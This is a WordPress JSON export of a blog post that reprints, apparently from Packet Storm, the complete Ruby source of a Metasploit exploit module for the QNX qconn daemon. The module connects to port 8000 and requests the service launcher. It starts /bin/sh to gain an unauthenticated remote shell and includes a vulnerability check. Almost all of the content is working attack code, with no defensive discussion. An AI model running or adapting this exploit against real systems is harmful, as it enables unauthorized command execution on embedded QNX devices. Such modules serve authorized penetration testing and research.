{"id":59721,"date":"2024-09-13T20:59:53","date_gmt":"2024-09-13T17:59:53","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181498\/qconn_exec.rb.txt"},"modified":"2024-09-13T20:59:53","modified_gmt":"2024-09-13T17:59:53","slug":"qnx-qconn-command-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/qnx-qconn-command-execution\/","title":{"rendered":"QNX Qconn Command Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::Tcp<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;QNX qconn Command Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module uses the qconn daemon on QNX systems to gain a shell.<\/p>\n<p>The QNX qconn daemon does not require authentication and allows<br \/>remote users to execute arbitrary operating system commands.<\/p>\n<p>This module has been tested successfully on QNX Neutrino 6.5.0 (x86)<br \/>and 6.5.0 SP1 (x86).<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;David Odell&#8217;, # Discovery<br \/>&#8216;Mor!p3r&#8217;, # PoC<br \/>&#8216;bcoles&#8217; # Metasploit<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;EDB&#8217;, &#8216;21520&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.optiv.com\/blog\/pentesting-qnx-neutrino-rtos&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;http:\/\/www.qnx.com\/developers\/docs\/6.5.0SP1\/neutrino\/utilities\/q\/qconn.html&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;http:\/\/www.qnx.com\/developers\/docs\/6.5.0\/topic\/com.qnx.doc.neutrino_utilities\/q\/qconn.html&#8217;]],<br \/>&#8216;Payload&#8217; =&gt; {<br \/>&#8216;BadChars&#8217; =&gt; &#8221;,<br \/>&#8216;DisableNops&#8217; =&gt; true,<br \/>&#8216;Compat&#8217; =&gt; {<br \/>&#8216;PayloadType&#8217; =&gt; &#8216;cmd_interact&#8217;,<br \/>&#8216;ConnectionType&#8217; =&gt; &#8216;find&#8217;<br \/>}<br \/>},<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;WfsDelay&#8217; =&gt; 10,<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;cmd\/unix\/interact&#8217;<br \/>},<br \/>&#8216;Platform&#8217; =&gt; &#8216;unix&#8217;, # QNX Neutrino<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Targets&#8217; =&gt; [[&#8216;Automatic&#8217;, {}]],<br \/>&#8216;Privileged&#8217; =&gt; false,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2012-09-04&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; []}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>Opt::RPORT(8000),<br \/>OptString.new(&#8216;SHELL&#8217;, [true, &#8216;Path to system shell&#8217;, &#8216;\/bin\/sh&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/>vprint_status(&#8216;Sending check&#8230;&#8217;)<\/p>\n<p>connect<br \/>res = sock.get_once(-1, 10)<\/p>\n<p>return CheckCode::Unknown(&#8216;Connection failed&#8217;) unless res<\/p>\n<p>return CheckCode::Safe unless res.include?(&#8216;QCONN&#8217;)<\/p>\n<p>sock.put(&#8220;service launcher\\n&#8221;)<br \/>res = sock.get_once(-1, 10)<\/p>\n<p>return CheckCode::Safe unless res.to_s.include?(&#8216;OK&#8217;)<\/p>\n<p>fingerprint = Rex::Text.rand_text_alphanumeric(5..10)<br \/>sock.put(&#8220;start\/flags run \/bin\/echo \/bin\/echo #{fingerprint}\\n&#8221;)<\/p>\n<p>return CheckCode::Safe unless res.to_s.include?(&#8216;OK&#8217;)<\/p>\n<p>Rex.sleep(1)<\/p>\n<p>res = sock.get_once(-1, 10)<\/p>\n<p>return CheckCode::Safe unless res.to_s.include?(fingerprint)<\/p>\n<p>disconnect<\/p>\n<p>CheckCode::Vulnerable<br \/>end<\/p>\n<p>def exploit<br \/>connect<br \/>res = sock.get_once(-1, 10)<\/p>\n<p>fail_with(Failure::Unreachable, &#8216;Connection failed&#8217;) unless res<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;Unexpected reply&#8217;) unless res.include?(&#8216;QCONN&#8217;)<\/p>\n<p>sock.put(&#8220;service launcher\\n&#8221;)<br \/>res = sock.get_once(-1, 10)<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;Unexpected reply&#8217;) unless res.to_s.include?(&#8216;OK&#8217;)<\/p>\n<p>print_status(&#8216;Sending payload&#8230;&#8217;)<br \/>sock.put(&#8220;start\/flags run #{datastore[&#8216;SHELL&#8217;]} -\\n&#8221;)<\/p>\n<p>Rex.sleep(1)<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;Shell negotiation failed. Unexpected reply.&#8217;) unless negotiate_shell(sock)<\/p>\n<p>print_good(&#8216;Payload sent successfully&#8217;)<\/p>\n<p>handler<br \/>end<\/p>\n<p>def negotiate_shell(sock)<br \/>Timeout.timeout(15) do<br \/>loop do<br \/>data = sock.get_once(-1, 10)<\/p>\n<p>return if data.blank?<\/p>\n<p>if data.include?(&#8216;#&#8217;) || data.include?(&#8216;No controlling tty&#8217;)<br \/>return true<br \/>end<\/p>\n<p>Rex.sleep(0.5)<br \/>end<br \/>end<br \/>rescue ::Timeout::Error<br \/>return nil<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::Tcpprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;QNX qconn Command Execution&#8217;,&#8216;Description&#8217; =&gt; %q{This module uses the qconn daemon on QNX systems to gain a shell. The QNX qconn daemon does not require authentication and allowsremote users to execute arbitrary &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59721","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59721","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59721"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59721\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59721"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59721"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59721"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}